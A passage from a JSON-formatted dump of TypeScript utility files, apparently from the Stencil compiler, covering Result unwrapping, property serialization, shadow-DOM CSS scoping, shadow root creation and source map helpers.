bit!\n    const value = result.value;\n    return err(value);\n  }\n\n  throw 'should never get here';\n}\n\n/**\n * Unwrap a {@link Result}, return the value inside if it is an `Ok` and\n * throw with the wrapped value if it is an `Err`.\n *\n * @throws with the wrapped value if it is an `Err`.\n * @param result a result to peer inside of\n * @returns the wrapped value, if `Ok`\n */\nexport const unwrap = <T, E>(result: Result<T, E>): T => {\n  if (result.isOk) {\n    return result.value;\n  } else {\n    throw result.value;\n  }\n};\n\n/**\n * Unwrap a {@link Result}, return the value inside if it is an `Err` and\n * throw with the wrapped value if it is an `Ok`.\n *\n * @throws with the wrapped value if it is an `Ok`.\n * @param result a result to peer inside of\n * @returns the wrapped value, if `Err`\n */\nexport const unwrapErr = <T, E>(result: Result<T, E>): E => {\n  if (result.isErr) {\n    return result.value;\n  } else {\n    throw result.value;\n  }\n};\n"
  },
  {
    "path": "src/utils/serialize.ts",
    "content": "import { SERIALIZED_PREFIX } from './constants';\nimport { LocalValue } from './local-value';\nimport { RemoteValue } from './remote-value';\n\n/**\n * Serialize a value to a string that can be deserialized later.\n * @param {unknown} value - The value to serialize.\n * @returns {string} A string that can be deserialized later.\n * @deprecated will be removed in v5. Use `@PropSerialize()` decorator instead.\n */\nexport function serializeProperty(value: unknown) {\n  /**\n   * If the value is a primitive type, return it as is.\n   */\n  if (\n    ['string', 'boolean', 'undefined'].includes(typeof value) ||\n    (typeof value === 'number' && value !== Infinity && value !== -Infinity && !isNaN(value))\n  ) {\n    return value as string | number | boolean;\n  }\n\n  const arg = LocalValue.getArgument(value);\n  return (SERIALIZED_PREFIX + btoa(JSON.stringify(arg))) as string;\n}\n\n/**\n * Deserialize a value from a string that was serialized earlier.\n * @param {string} value - The string to deserialize.\n * @returns {unknown} The deserialized value.\n * @deprecated will be removed in v5. Use `@AttrDeserialize()` decorator instead.\n */\nexport function deserializeProperty(value: string) {\n  if (typeof value !== 'string' || !value.startsWith(SERIALIZED_PREFIX)) {\n    return value;\n  }\n  return RemoteValue.fromLocalValue(JSON.parse(atob(value.slice(SERIALIZED_PREFIX.length))));\n}\n"
  },
  {
    "path": "src/utils/shadow-css.ts",
    "content": "/**\n * @license\n * Copyright Google Inc. All Rights Reserved.\n *\n * Use of this source code is governed by an MIT-style license that can be\n * found in the LICENSE file at https://angular.io/license\n *\n * This file is a port of shadowCSS from `webcomponents.js` to TypeScript.\n * https://github.com/webcomponents/webcomponentsjs/blob/4efecd7e0e/src/ShadowCSS/ShadowCSS.js\n * https://github.com/angular/angular/blob/master/packages/compiler/src/shadow_css.ts\n */\n\nimport { escapeRegExpSpecialCharacters } from './regular-expression';\n\nconst safeSelector = (selector: string) => {\n  const placeholders: string[] = [];\n  let index = 0;\n\n  // Replaces [part=~\"...\"] attribute selectors with placeholders.\n  // As we do not want to add the scoped selector to these selectors\n  selector = selector.replace(/(\\[\\s*part~=\\s*(\"[^\"]*\"|'[^']*')\\s*\\])/g, (_, keep) => {\n    const replaceBy = `__part-${index}__`;\n    placeholders.push(keep);\n    index++;\n    return replaceBy;\n  });\n\n  // Replaces attribute selectors with placeholders.\n  // The WS in [attr=\"va lue\"] would otherwise be interpreted as a selector separator.\n  selector = selector.replace(/(\\[[^\\]]*\\])/g, (_, keep) => {\n    const replaceBy = `__ph-${index}__`;\n    placeholders.push(keep);\n    index++;\n    return replaceBy;\n  });\n\n  // Replaces the expression in `:nth-child(2n + 1)` with a placeholder.\n  // WS and \"+\" would otherwise be interpreted as selector separators.\n  const content = selector.replace(/(:nth-[-\\w]+)(\\([^)]+\\))/g, (_, pseudo, exp) => {\n    const replaceBy = `__ph-${index}__`;\n    placeholders.push(exp);\n    index++;\n    return pseudo + replaceBy;\n  });\n\n  const ss: SafeSelector = {\n    content,\n    placeholders,\n  };\n  return ss;\n};\n\nconst restoreSafeSelector = (placeholders: string[], content: string) => {\n  content = content.replace(/__part-(\\d+)__/g, (_, index) => placeholders[+index]);\n  return content.replace(/__ph-(\\d+)__/g, (_, index) => placeholders[+index]);\n};\n\ninterface SafeSelector {\n  content: string;\n  placeholders: string[];\n}\n\ninterface CssRule {\n  selector: string;\n  content: string;\n}\n\ninterface StringWithEscapedBlocks {\n  escapedString: string;\n  blocks: string[];\n}\n\nconst _polyfillHost = '-shadowcsshost';\nconst _polyfillSlotted = '-shadowcssslotted';\n// note: :host-context pre-processed to -shadowcsshostcontext.\nconst _polyfillHostContext = '-shadowcsscontext';\nconst _parenSuffix = ')(?:\\\\((' + '(?:\\\\([^)(]*\\\\)|[^)(]*)+?' + ')\\\\))?([^,{]*)';\nconst _cssColonHostRe = new RegExp('(' + _polyfillHost + _parenSuffix, 'gim');\nconst _cssColonHostContextRe = new RegExp('(' + _polyfillHostContext + _parenSuffix, 'gim');\nconst _cssColonSlottedRe = new RegExp('(' + _polyfillSlotted + _parenSuffix, 'gim');\nconst _polyfillHostNoCombinator = _polyfillHost + '-no-combinator';\nconst _polyfillHostNoCombinatorRe = /-shadowcsshost-no-combinator([^\\s]*)/;\nconst _shadowDOMSelectorsRe = [/::shadow/g, /::content/g];\nconst _safePartRe = /__part-(\\d+)__/g;\n\nconst _selectorReSuffix = '([>\\\\s~+[.,{:][\\\\s\\\\S]*)?$';\nconst _polyfillHostRe = /-shadowcsshost/gim;\n\n/**\n * Little helper for generating a regex that will match a specified\n * CSS selector when that selector is _not_ a part of a `@supports` rule.\n *\n * The pattern will match the provided `selector` (i.e. ':host', ':host-context', etc.)\n * when that selector is not a part of a `@supports` selector rule _or_ if the selector\n * is a part of the rule's declaration.\n *\n * For instance, if we create the regex with the selector ':host-context':\n * - '@supports selector(:host-context())' will return no matches (starts with '@supports')\n * - '@supports selector(:host-context()) { :host-context() { ... }}' will match the second ':host-context' (part of declaration)\n * - ':host-context() { ... }' will match ':host-context' (selector is not a '@supports' rule)\n * - ':host() { ... }' will return no matches (selector doesn't match selector used to create regex)\n *\n * @param selector The CSS selector we want to match for replacement\n * @returns A look-behind regex containing the selector\n */\nconst createSupportsRuleRe = (selector: string) => {\n  // We need to match any occurrence of the selector that's NOT inside @supports selector(...)\n  const safeSelector = escapeRegExpSpecialCharacters(selector);\n\n  // This regex needs to:\n  // 1. Skip selectors inside @supports selector(...) rule conditions\n  // 2. Match selectors in normal CSS rules\n  // 3. Match selectors inside declaration blocks of @supports rules\n\n  // To avoid matching selectors inside @supports selector() conditions, we need to carefully\n  // construct the pattern to look for context that indicates we're NOT inside such a condition.\n  return new RegExp(\n    // First capture group: match any context before the selector that's not inside @supports selector()\n    // Using negative lookahead to avoid matching inside @supports selector(...) condition\n    `(^|[^@]|@(?!supports\\\\s+selector\\\\s*\\\\([^{]*?${safeSelector}))` +\n      // Then match the selector\n      `(${safeSelector}\\\\b)`,\n    'g',\n  );\n};\n\nconst _commentRe = /\\/\\*\\s*[\\s\\S]*?\\*\\//g;\n\nconst stripComments = (input: string) => {\n  return input.replace(_commentRe, '');\n};\n\nconst _commentWithHashRe = /\\/\\*\\s*#\\s*source(Mapping)?URL=[\\s\\S]+?\\*\\//g;\n\nconst extractCommentsWithHash = (input: string): string[] => {\n  return input.match(_commentWithHashRe) || [];\n};\n\nconst _ruleRe = /(\\s*)([^;\\{\\}]+?)(\\s*)((?:{%BLOCK%}?\\s*;?)|(?:\\s*;))/g;\nconst _curlyRe = /([{}])/g;\nconst _selectorPartsRe = /(^.*?[^\\\\])??((:+)(.*)|$)/;\nconst OPEN_CURLY = '{';\nconst CLOSE_CURLY = '}';\nconst BLOCK_PLACEHOLDER = '%BLOCK%';\n\nconst processRules = (input: string, ruleCallback: (rule: CssRule) => CssRule): string => {\n  const inputWithEscapedBlocks = escapeBlocks(input);\n  let nextBlockIndex = 0;\n  return inputWithEscapedBlocks.escapedString.replace(_ruleRe, (...m: string[]) => {\n    const selector = m[2];\n    let content = '';\n    let suffix = m[4];\n    let contentPrefix = '';\n    if (suffix && suffix.startsWith('{' + BLOCK_PLACEHOLDER)) {\n      content = inputWithEscapedBlocks.blocks[nextBlockIndex++];\n      suffix = suffix.substring(BLOCK_PLACEHOLDER.length + 1);\n      contentPrefix = '{';\n    }\n    const cssRule: CssRule = {\n      selector,\n      content,\n    };\n    const rule = ruleCallback(cssRule);\n    return `${m[1]}${rule.selector}${m[3]}${contentPrefix}${rule.content}${suffix}`;\n  });\n};\n\nconst escapeBlocks = (input: string) => {\n  const inputParts = input.split(_curlyRe);\n  const resultParts: string[] = [];\n  const escapedBlocks: string[] = [];\n  let bracketCount = 0;\n  let currentBlockParts: string[] = [];\n  for (let partIndex = 0; partIndex < inputParts.length; partIndex++) {\n    const part = inputParts[partIndex];\n    if (part === CLOSE_CURLY) {\n      bracketCount--;\n    }\n    if (bracketCount > 0) {\n      currentBlockParts.push(part);\n    } else {\n      if (currentBlockParts.length > 0) {\n        escapedBlocks.push(currentBlockParts.join(''));\n        resultParts.push(BLOCK_PLACEHOLDER);\n        currentBlockParts = [];\n      }\n      resultParts.push(part);\n    }\n    if (part === OPEN_CURLY) {\n      bracketCount++;\n    }\n  }\n  if (currentBlockParts.length > 0) {\n    escapedBlocks.push(currentBlockParts.join(''));\n    resultParts.push(BLOCK_PLACEHOLDER);\n  }\n  const strEscapedBlocks: StringWithEscapedBlocks = {\n    escapedString: resultParts.join(''),\n    blocks: escapedBlocks,\n  };\n  return strEscapedBlocks;\n};\n\n/**\n * Replaces certain strings within the CSS with placeholders\n * that will later be replaced with class selectors appropriate\n * for the level of encapsulation (shadow or scoped).\n *\n * When performing these replacements, we want to ignore selectors that are a\n * part of an `@supports` rule. Replacing these selectors will result in invalid\n * CSS that gets passed to autoprefixer/postcss once the placeholders are replaced.\n * For example, a rule like:\n *\n * ```css\n * @supports selector(:host()) {\n *   :host {\n *     color: red;\n *   }\n * }\n * ```\n *\n * Should be converted to:\n *\n * ```css\n * @supports selector(:host()) {\n *   -shadowcsshost {\n *     color: red;\n *   }\n * }\n * ```\n *\n * The order the regex replacements happen in matters since we match\n * against a whole selector word so we need to match all of `:host-context`\n * before we try to replace `:host`. Otherwise the pattern for `:host` would match\n * `:host-context` resulting in something like `:-shadowcsshost-context`.\n *\n * @param cssText A CSS string for a component\n * @returns The modified CSS string\n */\nconst insertPolyfillHostInCssText = (cssText: string) => {\n  // Special handling for @supports selector() rules\n  // We need to preserve the original selector in the condition but replace it in the declaration\n  const supportsBlocks: string[] = [];\n\n  // First, extract and preserve @supports selector(...) conditions\n  cssText = cssText.replace(/@supports\\s+selector\\s*\\(\\s*([^)]*)\\s*\\)/g, (_, selectorContent) => {\n    const placeholder = `__supports_${supportsBlocks.length}__`;\n    supportsBlocks.push(selectorContent);\n    return `@supports selector(${placeholder})`;\n  });\n\n  const _colonSlottedRe = createSupportsRuleRe('::slotted');\n  const _colonHostRe = createSupportsRuleRe(':host');\n  const _colonHostContextRe = createSupportsRuleRe(':host-context');\n\n  // These replacements use a special syntax with the `$1`. When the replacement\n  // occurs, `$1` maps to the content of the string leading up to the selector\n  // to be replaced.\n  //\n  // Otherwise, we will replace all the preceding content in addition to the\n  // selector because of the lookbehind in the regex.\n  //\n  // e.g. `/*!@___0___*/:host {}` => `/*!@___0___*/--shadowcsshost {}`\n  cssText = cssText\n    .replace(_colonHostContextRe, `$1${_polyfillHostContext}`)\n    .replace(_colonHostRe, `$1${_polyfillHost}`)\n    .replace(_colonSlottedRe, `$1${_polyfillSlotted}`);\n\n  // Now restore the original @supports selector conditions\n  supportsBlocks.forEach((originalSelector, index) => {\n    cssText = cssText.replace(`__supports_${index}__`, originalSelector);\n  });\n\n  return cssText;\n};\n\nconst convertColonRule = (cssText: string, regExp: RegExp, partReplacer: Function) => {\n  // m[1] = :host(-context), m[2] = contents of (), m[3] rest of rule\n  return cssText.replace(regExp, (...m: string[]) => {\n    if (m[2]) {\n      const parts = m[2].split(',');\n      const r: string[] = [];\n      for (let i = 0; i < parts.length; i++) {\n        const p = parts[i].trim();\n        if (!p) break;\n        r.push(partReplacer(_polyfillHostNoCombinator, p, m[3]));\n      }\n      return r.join(',');\n    } else {\n      return _polyfillHostNoCombinator + m[3];\n    }\n  });\n};\n\nconst colonHostPartReplacer = (host: string, part: string, suffix: string) => {\n  return host + part.replace(_polyfillHost, '') + suffix;\n};\n\nconst convertColonHost = (cssText: string) => {\n  return convertColonRule(cssText, _cssColonHostRe, colonHostPartReplacer);\n};\n\nconst colonHostContextPartReplacer = (host: string, part: string, suffix: string) => {\n  if (part.indexOf(_polyfillHost) > -1) {\n    return colonHostPartReplacer(host, part, suffix);\n  } else {\n    return host + part + suffix + ', ' + part + ' ' + host + suffix;\n  }\n};\n\nconst convertColonSlotted = (cssText: string, slotScopeId: string) => {\n  const slotClass = '.' + slotScopeId + ' > ';\n  const selectors: { orgSelector: string; updatedSelector: string }[] = [];\n\n  cssText = cssText.replace(_cssColonSlottedRe, (...m: string[]) => {\n    if (m[2]) {\n      const compound = m[2].trim();\n      const suffix = m[3];\n      const slottedSelector = slotClass + compound + suffix;\n\n      let prefixSelector = '';\n      for (let i: number = (m[4] as any) - 1; i >= 0; i--) {\n        const char = m[5][i];\n        if (char === '}' || char === ',') {\n          break;\n        }\n        prefixSelector = char + prefixSelector;\n      }\n\n      const orgSelector = (prefixSelector + slottedSelector).trim();\n      const addedSelector = `${prefixSelector.trimEnd()}${slottedSelector.trim()}`.trim();\n      if (orgSelector !== addedSelector) {\n        const updatedSelector = `${addedSelector}, ${orgSelector}`;\n        selectors.push({\n          orgSelector,\n          updatedSelector,\n        });\n      }\n\n      return slottedSelector;\n    } else {\n      return _polyfillHostNoCombinator + m[3];\n    }\n  });\n\n  return {\n    selectors,\n    cssText,\n  };\n};\n\nconst convertColonHostContext = (cssText: string) => {\n  return convertColonRule(cssText, _cssColonHostContextRe, colonHostContextPartReplacer);\n};\n\nconst convertShadowDOMSelectors = (cssText: string) => {\n  return _shadowDOMSelectorsRe.reduce((result, pattern) => result.replace(pattern, ' '), cssText);\n};\n\nconst makeScopeMatcher = (scopeSelector: string) => {\n  const lre = /\\[/g;\n  const rre = /\\]/g;\n  scopeSelector = scopeSelector.replace(lre, '\\\\[').replace(rre, '\\\\]');\n  return new RegExp('^(' + scopeSelector + ')' + _selectorReSuffix, 'm');\n};\n\nconst selectorNeedsScoping = (selector: string, scopeSelector: string) => {\n  const re = makeScopeMatcher(scopeSelector);\n  return !re.test(selector);\n};\n\nconst injectScopingSelector = (selector: string, scopingSelector: string) => {\n  return selector.replace(_selectorPartsRe, (_: string, before = '', _colonGroup: string, colon = '', after = '') => {\n    return before + scopingSelector + colon + after;\n  });\n};\n\nconst applySimpleSelectorScope = (selector: string, scopeSelector: string, hostSelector: string) => {\n  // In Android browser, the lastIndex is not reset when the regex is used in String.replace()\n  _polyfillHostRe.lastIndex = 0;\n  if (_polyfillHostRe.test(selector)) {\n    const replaceBy = `.${hostSelector}`;\n    return selector\n      .replace(_polyfillHostNoCombinatorRe, (_, selector) => injectScopingSelector(selector, replaceBy))\n      .replace(_polyfillHostRe, replaceBy + ' ');\n  }\n\n  return scopeSelector + ' ' + selector;\n};\n\nconst applyStrictSelectorScope = (selector: string, scopeSelector: string, hostSelector: string) => {\n  const isRe = /\\[is=([^\\]]*)\\]/g;\n  scopeSelector = scopeSelector.replace(isRe, (_: string, ...parts: string[]) => parts[0]);\n\n  const className = '.' + scopeSelector;\n\n  const _scopeSelectorPart = (p: string) => {\n    let scopedP = p.trim();\n\n    if (!scopedP) {\n      return '';\n    }\n\n    if (p.indexOf(_polyfillHostNoCombinator) > -1) {\n      scopedP = applySimpleSelectorScope(p, scopeSelector, hostSelector);\n    } else {\n      // remove :host since it should be unnecessary\n      const t = p.replace(_polyfillHostRe, '');\n      if (t.length > 0) {\n        scopedP = injectScopingSelector(t, className);\n      }\n    }\n\n    return scopedP;\n  };\n\n  const safeContent = safeSelector(selector);\n  selector = safeContent.content;\n\n  let scopedSelector = '';\n  let startIndex = 0;\n  let res: RegExpExecArray | null;\n  const sep = /( |>|\\+|~(?!=))(?=(?:[^()]*\\([^()]*\\))*[^()]*$)\\s*/g;\n\n  // If a selector appears before :host it should not be shimmed as it\n  // matches on ancestor elements and not on elements in the host's shadow\n  // `:host-context(div)` is transformed to\n  // `-shadowcsshost-no-combinatordiv, div -shadowcsshost-no-combinator`\n  // the `div` is not part of the component in the 2nd selectors and should not be scoped.\n  // Historically `component-tag:host` was matching the component so we also want to preserve\n  // this behavior to avoid breaking legacy apps (it should not match).\n  // The behavior should be:\n  // - `tag:host` -> `tag[h]` (this is to avoid breaking legacy apps, should not match anything)\n  // - `tag :host` -> `tag [h]` (`tag` is not scoped because it's considered part of a\n  //   `:host-context(tag)`)\n  const hasHost = selector.indexOf(_polyfillHostNoCombinator) > -1;\n  // Only scope parts after the first `-shadowcsshost-no-combinator` when it is present\n  let shouldScope = !hasHost;\n\n  while ((res = sep.exec(selector)) !== null) {\n    const separator = res[1];\n    const part = selector.slice(startIndex, res.index).trim();\n    shouldScope = shouldScope || part.indexOf(_polyfillHostNoCombinator) > -1;\n    const scopedPart = shouldScope ? _scopeSelectorPart(part) : part;\n    scopedSelector += `${scopedPart} ${separator} `;\n    startIndex = sep.lastIndex;\n  }\n\n  const part = selector.substring(startIndex);\n  shouldScope = !part.match(_safePartRe) && (shouldScope || part.indexOf(_polyfillHostNoCombinator) > -1);\n  scopedSelector += shouldScope ? _scopeSelectorPart(part) : part;\n\n  // replace the placeholders with their original values\n  return restoreSafeSelector(safeContent.placeholders, scopedSelector);\n};\n\nconst scopeSelector = (selector: string, scopeSelectorText: string, hostSelector: string, slotSelector: string) => {\n  return selector\n    .split(',')\n    .map((shallowPart) => {\n      if (slotSelector && shallowPart.indexOf('.' + slotSelector) > -1) {\n        return shallowPart.trim();\n      }\n\n      if (selectorNeedsScoping(shallowPart, scopeSelectorText)) {\n        return applyStrictSelectorScope(shallowPart, scopeSelectorText, hostSelector).trim();\n      } else {\n        return shallowPart.trim();\n      }\n    })\n    .join(', ');\n};\n\nconst scopeSelectors = (\n  cssText: string,\n  scopeSelectorText: string,\n  hostSelector: string,\n  slotSelector: string,\n  commentOriginalSelector: boolean,\n) => {\n  return processRules(cssText, (rule: CssRule) => {\n    let selector = rule.selector;\n    let content = rule.content;\n    if (rule.selector[0] !== '@') {\n      selector = scopeSelector(rule.selector, scopeSelectorText, hostSelector, slotSelector);\n    } else if (\n      rule.selector.startsWith('@media') ||\n      rule.selector.startsWith('@supports') ||\n      rule.selector.startsWith('@page') ||\n      rule.selector.startsWith('@document')\n    ) {\n      content = scopeSelectors(rule.content, scopeSelectorText, hostSelector, slotSelector, commentOriginalSelector);\n    }\n\n    const cssRule: CssRule = {\n      selector: selector.replace(/\\s{2,}/g, ' ').trim(),\n      content,\n    };\n    return cssRule;\n  });\n};\n\nconst scopeCssText = (\n  cssText: string,\n  scopeId: string,\n  hostScopeId: string,\n  slotScopeId: string,\n  commentOriginalSelector: boolean,\n) => {\n  cssText = insertPolyfillHostInCssText(cssText);\n  cssText = convertColonHost(cssText);\n  cssText = convertColonHostContext(cssText);\n\n  const slotted = convertColonSlotted(cssText, slotScopeId);\n  cssText = slotted.cssText;\n  cssText = convertShadowDOMSelectors(cssText);\n\n  if (scopeId) {\n    cssText = scopeSelectors(cssText, scopeId, hostScopeId, slotScopeId, commentOriginalSelector);\n  }\n\n  cssText = replaceShadowCssHost(cssText, hostScopeId);\n  cssText = cssText.replace(/>\\s*\\*\\s+([^{, ]+)/gm, ' $1 ');\n\n  return {\n    cssText: cssText.trim(),\n    // We need to replace the shadow CSS host string in each of these selectors since we created\n    // them prior to the replacement happening in the components CSS text.\n    slottedSelectors: slotted.selectors.map((ref) => ({\n      orgSelector: replaceShadowCssHost(ref.orgSelector, hostScopeId),\n      updatedSelector: replaceShadowCssHost(ref.updatedSelector, hostScopeId),\n    })),\n  };\n};\n\n/**\n * Helper function that replaces the interim string representing a `:host` selector with\n * the host scope selector class for the element.\n *\n * @param cssText The CSS string to make the replacement in\n * @param hostScopeId The scope ID that will be used as the class representing the host element\n * @returns CSS with the selector replaced\n */\nconst replaceShadowCssHost = (cssText: string, hostScopeId: string) => {\n  return cssText.replace(/-shadowcsshost-no-combinator/g, `.${hostScopeId}`);\n};\n\n/**\n * Expands selectors with ::part(...) to also include [part~=\"...\"] selectors.\n * For example:\n * ```css\n *   selectors-like-this::part(demo) { ... }\n *   .something .selectors::part(demo demo2):hover { ... }\n * ```\n * Becomes:\n * ```\n * selectors-like-this::part(demo), selectors-like-this [part~=\"demo\"] { ... }\n * .something .selectors::part(demo demo2):hover, .something .selectors [part~=\"demo\"][part~=\"demo2\"]:hover { ... }\n * ```\n *\n * @param cssText The CSS text to process\n * @returns The CSS text with expanded ::part(...) selectors\n */\nexport const expandPartSelectors = (cssText: string) => {\n  // Regex matches: (selector before)::part(part names)(pseudo after)\n  const partSelectorRe = /([^\\s,{][^,{]*?)::part\\(\\s*([^)]+?)\\s*\\)((?:[:.][^,{]*)*)/g;\n  return processRules(cssText, (rule: CssRule) => {\n    if (rule.selector[0] === '@') {\n      return rule;\n    }\n    // Split by comma, process each selector\n    const selectors = rule.selector.split(',').map((sel) => {\n      const out = [sel.trim()];\n      let m;\n      // For each ::part(...) in the selector, add the expanded version\n      while ((m = partSelectorRe.exec(sel)) !== null) {\n        const before = m[1].trimEnd();\n        const partNames = m[2].trim().split(/\\s+/);\n        const after = m[3] || '';\n        const partAttr = partNames\n          .flatMap((p: string): string[] => {\n            if (!rule.selector.includes(`[part~=\"${p}\"]`)) {\n              return [`[part~=\"${p}\"]`];\n            }\n            return [];\n          })\n          .join('');\n        const expanded = `${before} ${partAttr}${after}`;\n        if (!!partAttr && expanded !== sel.trim()) {\n          out.push(expanded);\n        }\n      }\n      return out.join(', ');\n    });\n    rule.selector = selectors.join(', ');\n    return rule;\n  });\n};\n\nexport const scopeCss = (cssText: string, scopeId: string, commentOriginalSelector: boolean) => {\n  const hostScopeId = scopeId + '-h';\n  const slotScopeId = scopeId + '-s';\n\n  const commentsWithHash = extractCommentsWithHash(cssText);\n\n  cssText = stripComments(cssText);\n  const orgSelectors: {\n    placeholder: string;\n    comment: string;\n  }[] = [];\n\n  if (commentOriginalSelector) {\n    const processCommentedSelector = (rule: CssRule) => {\n      const placeholder = `/*!@___${orgSelectors.length}___*/`;\n      const comment = `/*!@${rule.selector}*/`;\n\n      orgSelectors.push({ placeholder, comment });\n      rule.selector = placeholder + rule.selector;\n      return rule;\n    };\n\n    cssText = processRules(cssText, (rule) => {\n      if (rule.selector[0] !== '@') {\n        return processCommentedSelector(rule);\n      } else if (\n        rule.selector.startsWith('@media') ||\n        rule.selector.startsWith('@supports') ||\n        rule.selector.startsWith('@page') ||\n        rule.selector.startsWith('@document')\n      ) {\n        rule.content = processRules(rule.content, processCommentedSelector);\n        return rule;\n      }\n      return rule;\n    });\n  }\n\n  const scoped = scopeCssText(cssText, scopeId, hostScopeId, slotScopeId, commentOriginalSelector);\n  cssText = [scoped.cssText, ...commentsWithHash].join('\\n');\n\n  if (commentOriginalSelector) {\n    orgSelectors.forEach(({ placeholder, comment }) => {\n      cssText = cssText.replace(placeholder, comment);\n    });\n  }\n\n  scoped.slottedSelectors.forEach((slottedSelector) => {\n    // Use lookahead to ensure we only match complete selectors, not partial substrings\n    // A selector ends at ',' (separator), '{' (declaration block), or end of string\n    const regex = new RegExp(escapeRegExpSpecialCharacters(slottedSelector.orgSelector) + '(?=\\\\s*[,{]|$)', 'g');\n    cssText = cssText.replace(regex, slottedSelector.updatedSelector);\n  });\n\n  // Expand ::part(...) selectors\n  cssText = expandPartSelectors(cssText);\n\n  return cssText;\n};\n"
  },
  {
    "path": "src/utils/shadow-root.ts",
    "content": "import { BUILD } from '@app-data';\nimport { globalStyles } from '@app-globals';\nimport { supportsConstructableStylesheets, supportsMutableAdoptedStyleSheets } from '@platform';\nimport { CMP_FLAGS } from '@utils/constants';\n\nimport type * as d from '../declarations';\nimport { HYDRATED_STYLE_ID } from '../runtime/runtime-constants';\nimport { createStyleSheetIfNeededAndSupported } from './style';\n\nlet globalStyleSheet: CSSStyleSheet | null | undefined;\n\n// Constant scope ID for global styles to enable HMR tracking\nconst GLOBAL_STYLE_ID = 'sc-global';\n\nexport function createShadowRoot(this: HTMLElement, cmpMeta: d.ComponentRuntimeMeta) {\n  const opts: ShadowRootInit = { mode: 'open' };\n\n  if (BUILD.shadowDelegatesFocus) {\n    opts.delegatesFocus = !!(cmpMeta.$flags$ & CMP_FLAGS.shadowDelegatesFocus);\n  }\n\n  if (BUILD.shadowSlotAssignmentManual) {\n    const isManual = !!(cmpMeta.$flags$ & CMP_FLAGS.shadowSlotAssignmentManual);\n    if (isManual) {\n      opts.slotAssignment = 'manual';\n    }\n  }\n\n  const shadowRoot = this.attachShadow(opts);\n\n  // Initialize if undefined, set to CSSStyleSheet or null\n  if (globalStyleSheet === undefined) globalStyleSheet = createStyleSheetIfNeededAndSupported(globalStyles) ?? null;\n\n  // Use initialized global stylesheet if available\n  if (globalStyleSheet) {\n    if (supportsMutableAdoptedStyleSheets) {\n      shadowRoot.adoptedStyleSheets.push(globalStyleSheet);\n    } else {\n      shadowRoot.adoptedStyleSheets = [...shadowRoot.adoptedStyleSheets, globalStyleSheet];\n    }\n  } else if (globalStyles && !supportsConstructableStylesheets) {\n    // Fallback for dev mode: add global styles as <style> tag in each shadow root\n    // Each shadow root needs its own copy when using <style> tags\n    const styleElm = document.createElement('style');\n    styleElm.innerHTML = globalStyles;\n\n    // Add sty-id attribute for HMR tracking\n    if (BUILD.hotModuleReplacement) {\n      styleElm.setAttribute(HYDRATED_STYLE_ID, GLOBAL_STYLE_ID);\n    }\n\n    shadowRoot.prepend(styleElm);\n  }\n}\n"
  },
  {
    "path": "src/utils/sourcemaps.ts",
    "content": "import type { SourceMap as RollupSourceMap } from 'rollup';\n\nimport type * as d from '../declarations';\n\n/**\n * Converts a rollup provided source map to one that Stencil can easily understand\n * @param rollupSourceMap the sourcemap to transform\n * @returns the transformed sourcemap\n */\nexport function rollupToStencilSourceMap(rollupSourceMap: null): null;\nexport function rollupToStencilSourceMap(rollupSourceMap: undefined): null;\nexport function rollupToStencilSourceMap(rollupSourceMap: RollupSourceMap): d.SourceMap;\nexport function rollupToStencilSourceMap(rollupSourceMap: RollupSourceMap | undefined | null): d.SourceMap | null {\n  if (!rollupSourceMap || !rollupSourceMap.file) {\n    return null;\n  }\n\n  return {\n    file: rollupSourceMap.file,\n    mappings: rollupSourceMap.mappings,\n    names: rollupSourceMap.names,\n    sources: rollupSourceMap.sources,\n    sourcesContent: rollupSourceMap.sourcesContent,\n    version: rollupSourceMap.version,\n  } satisfies d.SourceMap;\n}\n\n/**\n * A JavaScript formatted string used to link generated code back to the original. This string follows the guidelines\n * found in the [Linking generated code to source maps](https://sourcemaps.info/spec.html#h.lmz475t4mvbx) section of\n * the Sourcemaps V3 specification proposal.\n */\nconst JS_SOURCE_MAPPING_URL_LINKER = '//# sourceMappingURL=';\n\n/**\n * Generates an RFC-3986 compliant string for the given input.\n * More information about RFC-3986 can be found [here](https://datatracker.ietf.org/doc/html/rfc3986)\n * This function's original source is derived from\n * [MDN's encodeURIComponent documentation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/encodeURIComponent#description)\n * @param filename the filename to encode\n * @returns the encoded URI\n */\nconst encodeToRfc3986 = (filename: string): string => {\n  const encodedUri = encodeURIComponent(filename);\n  // replace all '!', single quotes, '(', ')', and '*' with their hexadecimal values (UTF-16)\n  return encodedUri.replace(/[!'()*]/g, (matchedCharacter) => {\n    return '%' + matchedCharacter.charCodeAt(0).toString(16);\n  });\n};\n\n/**\n * Generates a string used to link generated code with the original source, to be placed at the end of the generated\n * code.\n * @param url the url of the source map\n * @returns a linker string, of the format {@link JS_SOURCE_MAPPING_URL_LINKER}=<url>\n */\nexport const getSourceMappingUrlLinker = (url: string): string => {\n  return `${JS_SOURCE_MAPPING_URL_LINKER}${encodeToRfc3986(url)}`;\n};\n\n/**\n * Generates a string used to link generated code with the original source, to be placed at the end of the generated\n * code as an inline source map.\n * @param sourceMapContents the sourceMapContents of the source map\n * @returns a linker string, of the format {@link JS_SOURCE_MAPPING_URL_LINKER}<dataUriPrefixAndMime><sourceMapContents>\n */\nexport const getInlineSourceMappingUrlLinker = (sourceMapContents: string): string => {\n  const mapBase64 = Buffer.from(sourceMapContents, 'utf8').toString('base64');\n\n  // do not RFC-3986 encode an already valid base64 string. the sourcemaps will not resolve correctly when there is an\n  // allowed base64 character is encoded (because it is a disallowed RFC-3986 character)\n  return `${JS_SOURCE_MAPPING_URL_LINKER}data:application/json;charset=utf-8;base64,${mapBase64}`;\n};\n\n/**\n * Generates a string used to link generated code with the original source, to be placed at the end of the generated\n * code. This function prepends a newline to the string.\n * @param url the url of the source map\n * @returns a linker string, of the format {@link JS_SOURCE_MAPPING_URL_LINKER}=<url>.map, prepended with a newline\n */\nexport const getSourceMappingUrlForEndOfFile = (url: string): string => {\n  return `\\n${getSourceMappingUrlLinker(url)}.map`;\n};\n"
  },
  {
    "path": "src/utils/style.ts",
    "content": "import { supportsConstructableStylesheets } from '@platform';\n\n/**\n * If (1) styles is not empty string, and (2) constructable stylesheets are supported,\n * then make a stylesheet.\n *\n * @param styles - The styles to add to the stylesheet. If empty string, then no stylesheet is returned.\n * @returns A stylesheet if it can be created, otherwise undefined.\n */\nexport function createStyleSheetIfNeededAndSupported(styles: string): CSSStyleSheet | undefined {\n  if (!styles || !supportsConstructableStylesheets) return undefined;\n\n  const sheet = new CSSStyleSheet();\n  sheet.replaceSync(styles);\n  return sheet;\n}\n"
  },
  {
    "path": "src/utils/test/helpers.spec.ts",
